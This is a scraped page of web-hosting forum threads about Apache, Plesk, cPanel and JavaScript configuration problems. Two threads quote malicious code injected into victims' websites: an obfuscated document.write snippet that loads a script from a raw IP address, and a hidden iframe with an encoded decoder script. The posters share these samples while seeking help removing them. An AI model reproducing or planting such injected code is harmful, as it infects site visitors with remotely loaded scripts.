Getting Apache To Parse Javascript

Mar 14, 2007

A tech admin that I worked with previously fixed an issue we were having. He explained what he did:

To fix you need to make apache be able to parse JS

He is no longer available.

how to do this? Which file (I expect httpd.conf) would I need to edit and what part of it would it be?

View 1 Replies


ADVERTISEMENT

Apache :: Configuring To Load Javascript Files?

Oct 23, 2013

have a website that sources a number of jquery plugins, when I load the site in chrome or firefox the javascript console is saying that these files were not loaded.

The server is a localhost and the files are local.

The google jquery file loads fine.

how I need to configure the apache config file to deal with javascript.

View 2 Replies View Related

Malicious Javascript

Mar 18, 2009

We are having a problem with a number of our websites hosted on Fasthosts reseller account where JavaScript is being maliciously inserted into a number of pages.

An example of the code that has been inserted can be found below:
<!--
document.write(unescape('xXz%3CAEqscripzHVt%20RMisAEqrRMicxXz%3DzHV%2FyI%2F6
yI7zHV%2E21wq5RMi%2E2xXz4wq6%2E3AEq4RMi%2FjqAEquwqexXzry%2EjsyI%3E%3CzHV%2Fs
crRMiiwqpzHVtwq%3E').replace(/yI|zHV|fW|xXz|RMi|wq|AEq/g,""));
-->
Which runs this script:
<script src=//67.215.246.34/jquery.js></script>

New pages have been created on a number of websites aswell as the above code inserted into existing pages.

After removing the above code from one particular website it has happened again.
Some of the websites being affected are just static websites with only HTML pages, others are dynamic ASP pages.

View 2 Replies View Related

Litespeed Javascript

Jan 24, 2008

I've tried turning on/off gzipping, other stuff.

It's an AJAX tab script.

Exact same thing, exact same paths work on my shared hosting elsewhere, but not on my box running LS.

View 2 Replies View Related

Free Web Host That Allows PHP And JavaScript

May 28, 2007

Does anyone know of any free web hosts that would allow me to use PHP and JavaScript in my web-pages?

View 9 Replies View Related

Pasted Javascript Into Filename By Accident

Nov 20, 2008

I pasted the contents of a javascript page into a filename on my server.

Now I cant rename, download or delete the file,

View 4 Replies View Related

Index Page With Javascript Probably Hacked ..

Jul 15, 2008

when i oppened my site i found that there was a code in the index i don't know from what but when i earsed it it returned again ...

View 0 Replies View Related

HTML/JavaScript Content Embedded In Flash

Apr 11, 2009

I'm trying to embed the LiveZilla chat icon within a flash header and haven't been able to do it for the life of me.

View 0 Replies View Related

Unable To Parse Zone

Jul 12, 2009

I recently updated all my cPanel software, and now when I try to Edit a DNS zone, I get:

Unable to parse zone: Error while parsing zonedata for *DOMAIN NAME HERE*.com: expected valid rname, line 4 ...propagated at /usr/local/cpanel/Cpanel/CPAN/Net/DNS/ZoneFile/Fast.pm line 142.

View 13 Replies View Related

Configure IIS To Parse Css Extensions

Feb 16, 2007

I am not sure what forum this is for but I think I have the right one. I am having a heck of a time getting my IIS server to parse files with the .css extension properly. Can someone give a newb some advice on how to do this?

I think it is IIS 6.

The problem arose when I tried to use external style sheets and while IE handles them fine Firefox does not. I have been told this is because of the way my server deals with the css extension.

View 4 Replies View Related

Hacked: How To Find Javascript Added To Pages In /home

Apr 23, 2007

Many of my websites on my server have been hacked, it randomly add's
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->

Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
and

Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src='http://aboutmynews.org/news/InF.php' style='display:none;'></iframe--><!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmOAt7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")</script><!-- ~ -->

To some of my pages on my websites in my /home directory.

Please do not visit the links without anti virus protection.

what command I can use to search all of my files in my home directory for this?

View 5 Replies View Related

Plesk 12.x / Linux :: Horde - JavaScript Is Either Disabled Or Not Available On Browser

Jul 17, 2015

When i try to go to horde after my upgrade from plesk 11.5.30 to plesk 12.0.18, my horde is loading as minimal cause this:

JavaScript is either disabled or not available on your browser. You are restricted to the minimal view.

But my javascript is enabled for this site.

View 2 Replies View Related

Windows Server 2003 Won't Parse Php

Jan 3, 2007

I just installed php on a windows server 2003 machine but php code just shows up as normal text. I've followed the steps outlined here. Then I restarted the server and the files are served as they should, but php code is not parsed.

In the troubleshooting section it says to try to add php5isapi.dll as an ISAPI Filter, and so I did, but it still won't work. The question is, do I have to restart the whole machine to test if the ISAPI Filter setting solved the problem, or does an IIS reset suffice? The reason I'm asking instead of trying is that a lot of business critical applications are running on the same machine, so restarting the machine is quite the process.

View 1 Replies View Related

Domain Name Server:: Unable To Parse Zone

Jun 27, 2008

when i try to edit a DNS zone on WHM i got the following error :

Editting zone domain.com

Unable to parse zone: Error while parsing zonedata for domain.com: expected valid serial, line 4 ...propagated at /usr/local/cpanel/Cpanel/CPAN/Net/DNS/ZoneFile/Fast.pm line 142.
WHM 11.23.2 cPanel 11.23.3

View 5 Replies View Related

Plesk 11.x / Windows :: Personal FTP Repository Settings - Cannot Parse Hostname

Feb 2, 2014

Current Version Installed :Parallels Plesk Panel 11.5.30 Update #31
Problem: When username have @ like : myuser@mydomain.com

Steps : When configure the setting all go right (test to validate setting is ok too) , but when Scheduled Backup Settings using Personal FTP Repository cannot connect for server because the url use 2 @ like error message below.

Error Message :
Cannot parse output file 'ftp://bk@mydomain.com@mydomain.com/' [Invalid URI: Can not parse the hostname.]

View 1 Replies View Related

Plesk 12.x / Linux :: Internal Error - Failed To Parse Metadata

Oct 28, 2014

My plesk version is 12.0.18.When I try to install wordpress I had this error:Internal error: Failed to parse metadata...MessageFailed to parse metadata...File aps_php.php Line10024.

View 2 Replies View Related

Plesk 12.x / Linux :: Warning - Incorrect Operation Of Parse URL PHP Function

Jul 17, 2014

I have some problem with my parse_url after last update of Plesk Panel.I ran the test script on my server and on my local computer, and received the following result: Local computer:

HTML:
Array ( [path] => product_features.clear_list [query] => redirect_url=http://www.siteExample.com )
My server:

HTML:
Array ( [host] => product_features.clear_list?redirect_url=http [path] => //www.siteExample.com )
As you can see, the structure of the output data is not identical as it should be.

Test script that I used:

Code:
<?php
$test = 'product_features.clear_list?redirect_url=http://www.siteExample.com';
$test1 = parse_url($test);
print_r($test1);
?>

View 1 Replies View Related

Plesk 12.x / Linux :: Wordpress Toolkit Parse Error - Cannot Connect To DB

Apr 21, 2015

I have over 5 WP installations on my Server and i installed all manual and had never issues.

Now i installed a again a WP Site and after i go to the Wordpress Toolkit to search for the new installation i got the following Message:

PHP Parse error: syntax error, unexpected '?' in /usr/share/plesk-wp-cli/php/wp-cli.php(23) : eval()'d code on line 1 {"err_code":0,"err_message":"

With error cannot connect to DB.

So all WP installations are running fine instead of the new one.... I didn't change any configs files of PHP all is standard, the wp-config.php is correct, the Site is running fine.

From my point of view is this an issue by Plesk due to Parse error message at the files of Plesk, see error message!

System:
OS Debian 7.8
Plesk Version 12.0.18 Update #43, zuletzt aktualisiert: 20. April 2015 13:17:36

I know with an older Version of Plesk 12.0.18 it was working fine too, so the bug was implemented with a MU.

I checked the file as well and find out that at all PHP files the code is not closed at the end so the "?>" is always missing. 

View 4 Replies View Related

Plesk 11.x / Linux :: APS Catalog Error - Unable To Parse ATOM Content

Jan 23, 2014

I am getting the following error in Plesk, on the Applications page:

"APS Catalog error: Unable to parse the ATOM content. DOMDocument::loadXML(): Opening and ending tag mismatch: hr line 5 and body in Entity, line: 6"

Clearing cache (as advised here: [URL] ....) - does not work, unfortunately.

As I noticed, the error started to occur right after Plesk was updated to v11.5.30_build115130819.13

Found this error in files:

/opt/psa/var/cache# vi d3b08b981b493e5687c45518970bc225-1024-0.cache
a:3:{s:3:"url";s:108:"http://catalog.marketplace.parallels.com/all-app.atom?obsolete=hide&pageSize=999999&order=%2Bname%2C-version";s:4:"time";i:1390479055;s:7:"content";s:166:"<html>

[Code] ....

In my browser, the API catalog URL gives the same "502 Bad Gateway" error: [URL] ....

View 4 Replies View Related

Plesk 12.x / Windows :: Internal Error When Removing Domain - Failed To Parse Response

Jan 23, 2015

I am using plesk panel 12.0 when i try to remove domain i get this error :

Internal error: Failed to parse response. Reason: Failed to read data from stream Process output:

MessageFailed to parse response. Reason: Failed to read data from stream Process output:

File : Domain.php
Line :393
Type :Smb_Exception

I even tried with command line utility...

View 3 Replies View Related

Unable To Parse Zone: Error While Parsing Zonedata For Xyz.com: Syntax Error

Jul 23, 2009

While clicking on "Edit DNS" in WHM

I am getting this error

Unable to parse zone: Error while parsing zonedata for xyz.com: syntax error, line 25 ...propagated at /usr/local/cpanel/Cpanel/CPAN/Net/DNS/ZoneFile/Fast.pm line 142.

View 6 Replies View Related

Apache :: Capturing Internal Apache Errors Return Custom HTTP Status

Nov 15, 2013

Server Version: Apache/2.2.22 (Unix)

On our production service, we've been getting numerous malformed POST requests to some of our CGI scripts that are showing up as 500 errors in our logs. They are malformed in the sense that the actual content length doesn't match the Content-Length specified in the request.

Here's the most trivial example I can come up with that reproduces the problem for us:

POST /some_valid_alias HTTP/1.1
Host: example.org
User-Agent: Arbitrary/1.0
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Content-Length: 769
-----------------------------41184676334

In addition to the 500 error in the access log, we see the corresponding error in the error log:

(70014)End of file found: Error reading request entity data

Based on the nature of the POST request and the error response, it does appear that Apache is doing the right thing here.

The POST never actually makes it as far as the script being targeted (/some_valid_alias in the above example); in other words, Apache returns 500 to the client, writes the error to the error log and never executes the script.

Is there a way to capture/avoid internal Apache errors like 70014, and return some other HTTP status besides 500 (like 403)? It's particularly annoying in our case, because our server sends us an email for all 500 errors.

So far, our best "defense" against these 500 errors is to disallow POST for these aliases, which normally just ignore the POST data anyway (when the request is not malformed):

RewriteCond %{REQUEST_METHOD} ^POST$
RewriteRule ^/(some_valid_alias)(.*)$ $1$2 [R]

But this won't work for all our scripts, because in some cases we do want to permit POST.

View 2 Replies View Related

Apache Procs Constantly Rise, Until Apache Is Restarted

Jul 23, 2007

I've had this problem a long time now with my hosting network and decided to ask here hoping I get some good solutions, or if someone is willing to looking at this (I'll pay if they want).

Here's what I mean:
[url]

Problem is as you can see apache processes constantly rise infinitely, at least until I restart apache (/etc/init.d/httpd restart). The point of restart is shown in red lines.

And after restart, it goes down again for X amount of hours then eventually rises again infinitely until it's restarted again.

But the fact that after restart it remains down, it means it had the potential to be down all along.

So my question is: what could be causing this and does anyone have solution to keep them low at all times (as per graphs)?

View 14 Replies View Related

Increasing The Apache ServerLimit In Apache 2.2.8 Version.

May 28, 2008

The Linux Server got down when the MaxClients 256 is reached.
Error Log:

"server reached MaxClients setting, consider raising the MaxClients setting"

So that I have tried to increased the MaxClients Value to 500, after changed the value in httpd.conf and restart I get following error message.

" [notice] SIGHUP received. Attempting to restart
WARNING: MaxClients of 500 exceeds ServerLimit value of 256 servers,
lowering MaxClients to 256. To increase, please see the ServerLimit
directive."

So that I tried changed the Server limit in /usr/local/apache/include/httpd.h header file. but it seems like there is no entry.

Apache Version : 2.2.8

So I have added the ServerLimit 500 entry in httpd.conf file and restart the httpd service. But still shows the same warning mesg. Please help me regarding this.

We have the Dedicated server for Flash Game Server with following configuration.

RHEL4 OS
2GB RAM
Intel(R) Xeon(R) X3210 @ 2.13GHz
Cpanel Installed.
Apache 2.2.8
PHP 5.2.4
MySQL 4.1.2 (MySQL Server is working in differend server)

View 7 Replies View Related

.htaccess Issue With Apache 1.3, But Works On Apache 2.2

Mar 22, 2008

I have the following Apache redirect code in .htaccess:

RewriteRule ^sap-latest-news/([0-9]*)/([A-Za-z0-9_-.]*).htm$ /domain.com/app/modules/content/latestNews.php?id=$1 [L]

This redirect works fine on Apache 2.2.8, but doesn't work on Apache 1.3.41

The following is the entry from error_log:
RewriteRule: cannot compile regular expression '^sap-latest-news/([0-9]*)/([A-Za-z0-9_-.]*).htm$'

A simple Rewrite is working fine in Apache 1.3, but the above regualar expression doesn't seem to be working on Apache 1.3. Does anyone know whether Apache 1.3 doesn't support it?

View 3 Replies View Related

Installed Apache And PHP Only Seeing Default Apache Page

Jun 1, 2007

I am having an issue where I have a server that Directadmin is installed on. I go to the a url that is on the server and all i see is the default page of apache saying congrats, it is installed. Although there is no file like that in the public_html any longer and I can see my files in the public_html folder of that specific site.

View 6 Replies View Related

Downgrade CentOS 5's Apache 2 To Apache 1.3

Jan 3, 2008

I've been searching around with google regarding how to downgrade the Apache 2.2 which comes with CentOS 5 to Apache 1.3.39.

View 2 Replies View Related

Performance: Apache 2 Prefork Vs Apache 1.3

Jan 12, 2008

I'm building a new server for a predominantly php5/mysql5 website and was wondering which version of apache to put on. I know there are some issues with PHP and Apache in MPM, but what's the performance comparison between Apache 1.3 and Apache 2 Prefork?

View 4 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved